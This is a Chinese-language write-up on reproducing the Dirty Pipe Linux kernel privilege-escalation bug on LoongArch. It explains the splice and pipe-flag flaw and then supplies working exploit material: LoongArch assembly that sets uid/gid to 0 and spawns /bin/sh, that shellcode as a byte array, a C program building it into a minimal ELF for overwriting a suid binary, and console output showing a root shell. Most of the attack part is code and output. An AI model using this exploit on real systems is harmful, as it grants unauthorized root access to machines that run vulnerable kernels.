这个漏洞是最近爆出的,在内核5.8到5.16上都存在,已经有修复
据说实现提权简单,恰好LoongArch的CLFS的内核在漏洞版本中,所以就做了在LoongArch上的复现
1, 首先是理解测试文件
https://haxx.in/files/dirtypipez.c 即是测试文件
具体的流程如下
main -> 存在一段ELF数据(elfcode 这是x86的,后续需要换成LoongArch的),这段数据能设置 uid=0 gid=0 并执行/bin/sh
main -> 存在某个 suid 文件 (第1个参数)
main -> 读suid文件内容 读取长度与elfcode一致
hax -> 再次打开这个文件,获得文件描述符fd
prepare_pipe -> 准备管道,将写管道写满,再将读管道读空,这时的效果是 管道为空,但存在 can_merge 标志
hax -> 通过 splice 移动一个字节
hax -> 将剩下的elfcode写进管道 (elf文件第一字节为0x75,前面已经移动第一字节,因此不用写第一字节)
main -> 执行该suid文件,此时suid文件已经被修改
2, 特殊点
PIPE_BUF_FLAG_CAN_MERGE, splice
splice(fdin, offin, fdout, offout, len, flags) 的字面意思是 从fdin偏移offin的位置开始读出,读到
fdout偏移offout的位置,操作字符数为len,存在flags控制 其中fdin和fdout至少一个是管道描述符,offin或offout
为NULL时表示偏移0 (此处所谓的偏移是指相对于文件控制流的偏移)
注意到 splice与零拷贝相关 因此去理解下零拷贝技术
https://www.jianshu.com/p/193cae9cbf07
http://abcdxyzk.github.io/blog/2015/05/07/kernel-mm-splice/
通过对测试文件的理解和对splice的理解,推测是因为 管道被读满后,再读一字节将和文件流重合,因此两者绑在一起
又因为 can_merge 标志仍然存在 因此elfcode剩余部分被写入时并未进行将管道与文件流进行分离的操作,结果导致文件被修改
推测推测,大佬轻喷 QAQ
3, 内核部分
引入问题补丁链接
修复补丁链接
这是修复了 copy_page_to_iter_pipe 和 push_pipe 两个函数
应该会影响这些导出的函数 (copy_page_to_iter
_copy_to_iter csum_and_copy_to_iter _copy_mc_to_iter iov_iter_zero iov_iter_get_pages iov_iter_get_pages_alloc)
... 这么多函数我也不会啊,但是可以肯定的是,影响面很广,测试用例只是其中很典型的一种
通过搜索 PIPE_BUF_FLAG_CAN_MERGE 找到关键文件 fs/pipe.c fs/splice.c
被使用到的地方为
pipe_write {
通过标志判断
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) {
pipe_buf_confirm(pipe, buf); 推测是调用 page_cache_pipe_buf_confirm
copy_page_from_iter(buf->page, offset, chars, from);
buf->len += ret;
}
}
...
这里修改前是赋值为ops
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
引入问题前是通过 pipe_buf_can_merge(buf) 进行判断 而非通过标志判断,根据修复补丁来看,copy时未消除标志导致的问题,也就是说,copy时未消除标志这个问题很早就存在,通过此次pipe暴露了出来
(不知道这样想正确否,大概也只能理解这么多了,超出想象力了(ˉ▽ˉ;)
- 在LoongArch上复现该问题
LoongArch的CLFS一直跟着其开源的github上的代码走的
clfs地址
LoongArch开源github
看测试文件 应该是需要一个能执行 "设置 uid=0 gid=0 执行 /bin/sh" 的文件
为了文件小一些,最好是用内嵌汇编写,拿到可执行的代码后,写一个elf文件出来
汇编代码大概如下,系统调用号应该是和 /usr/include/asm-generic/unistd.h 里面的调用号一致
.section text,"awx"
# setuid(0)
move $a0, $zero
li.w $a7, 146
syscall 0
# setgid(0)
move $a0, $zero
li.w $a7, 144
syscall 0
# execve("/bin/sh", ["/bin/sh", NULL], [NULL])
la.pcrel $a0, arg0
la.pcrel $a1, arg1
st.d $a0, $a1, 0
move $a2, $zero
li.w $a7, 221
syscall 0
# exit(-1)
li.w $a0, -1
li.w $a7, 93
syscall 0
# .section .rodata # 应该放在rodata中,但是把它和代码放一个section,并设置为可读可写可执行
arg0: .ascii "/bin/sh\0"
arg1: .dword 0
.dword 0
这里几乎都使用了la.pcrel,目的是为了将指令做成PC无关代码,
特别是用"la.pcrel $a1, arg1; st.d $a0, $a1, 0;" 把第二个参数整成了位置无关
然后将 数据 也放进text中,目的是为了只用一个 PT_LOAD
拿到汇编二进制后,通过构建一个Elf64_Ehdr和Elf64_Phdr就可以形成执行文件了
基址可以设置为 0x10000
Ehdr { 主要是 entry 设置为 基址 + 代码入口所在文件偏移 }
Phdr { 主要是 将vaddr设置为base, 再填好 filesz 和 memsz, 权限设置为 RWX, 在最后补齐elfcode }
执行时先进行备份,万一把系统整坏了... 测试用例在最后调用了 /tmp/sh ,这里我在/tmp/sh写了个whoami
拷贝su,如果/bin/su有损坏,通过sudo拷贝回去就行 $ cp /bin/su ./
$ gcc test.c -o test
$ ./test /bin/su
[+] hijacking suid binary..
[+] dropping suid shell..
sh-5.1# whoami <- 这里是执行/bin/sh得到的 whoami 为 root
root
sh-5.1# exit
exit
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
myname <- 最后是调用 /tmp/sh 这里不具备root执行条件 所以输出自己的名字
最后 su 一般没损坏 (测试用例有修复) 如果损坏了 $ sudo cp ./su /bin/su
/* 附上生成elfcode的代码 大佬轻喷 :) */
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
typedef Elf64_Ehdr Ehdr;
typedef Elf64_Phdr Phdr;
struct only_text {
Ehdr ehdr;
Phdr phdr;
char data[0];
};
/* 汇编二进制 */
static char elfdata[] = {
0x04, 0x00, 0x15, 0x00, 0x0b, 0x48, 0x82, 0x03, 0x00, 0x00, 0x2b, 0x00, 0x04, 0x00, 0x15, 0x00,
0x0b, 0x40, 0x82, 0x03, 0x00, 0x00, 0x2b, 0x00, 0x04, 0x00, 0x00, 0x1c, 0x84, 0xb0, 0xc0, 0x02,
0x05, 0x00, 0x00, 0x1c, 0xa5, 0xb0, 0xc0, 0x02, 0xa4, 0x00, 0xc0, 0x29, 0x06, 0x00, 0x15, 0x00,
0x0b, 0x74, 0x83, 0x03, 0x00, 0x00, 0x2b, 0x00, 0x04, 0xfc, 0xbf, 0x02, 0x0b, 0x74, 0x81, 0x03,
0x00, 0x00, 0x2b, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
unsigned long base = 0x10000;
int main()
{
int dsz = sizeof(elfdata), esz = sizeof(struct only_text);
struct only_text *exec = __builtin_alloca(esz + dsz);
exec->ehdr.e_ident[EI_MAG0] = ELFMAG0;
exec->ehdr.e_ident[EI_MAG1] = ELFMAG1;
exec->ehdr.e_ident[EI_MAG2] = ELFMAG2;
exec->ehdr.e_ident[EI_MAG3] = ELFMAG3;
exec->ehdr.e_ident[EI_CLASS] = ELFCLASS64;
exec->ehdr.e_ident[EI_DATA] = ELFDATA2LSB;
exec->ehdr.e_ident[EI_VERSION] = EV_CURRENT;
exec->ehdr.e_type = ET_EXEC;
exec->ehdr.e_machine = EM_LOONGARCH;
exec->ehdr.e_version = EV_CURRENT;
exec->ehdr.e_entry = base + offsetof(struct only_text, data);
exec->ehdr.e_phoff = offsetof(struct only_text, phdr);
exec->ehdr.e_shoff = 0;
exec->ehdr.e_flags = EF_LARCH_ABI_LP64;
exec->ehdr.e_ehsize = sizeof(Ehdr);
exec->ehdr.e_phentsize = sizeof(Phdr);
exec->ehdr.e_phnum = 1;
exec->ehdr.e_shentsize = 0;
exec->ehdr.e_shnum = 0;
exec->ehdr.e_shstrndx = 0;
exec->phdr.p_type = PT_LOAD;
exec->phdr.p_offset = 0;
exec->phdr.p_vaddr = base;
exec->phdr.p_filesz = offsetof(struct only_text, data) + dsz;
exec->phdr.p_memsz = offsetof(struct only_text, data) + dsz;
exec->phdr.p_flags = PF_R | PF_W | PF_X;
exec->phdr.p_align = sysconf(_SC_PAGESIZE);
memcpy(exec->data, elfdata, dsz);
char *buf = (char *)exec;
int i;
for (i = 0; i < dsz + esz; i++) {
printf("0x%02x", ((long)buf[i]) & 0xff);
if (i == (dsz + esz - 1)) {
printf(",\n");
break;
}
if ((i + 1) % 8)
printf(", ");
else
printf(",\n");
}
return 0;
}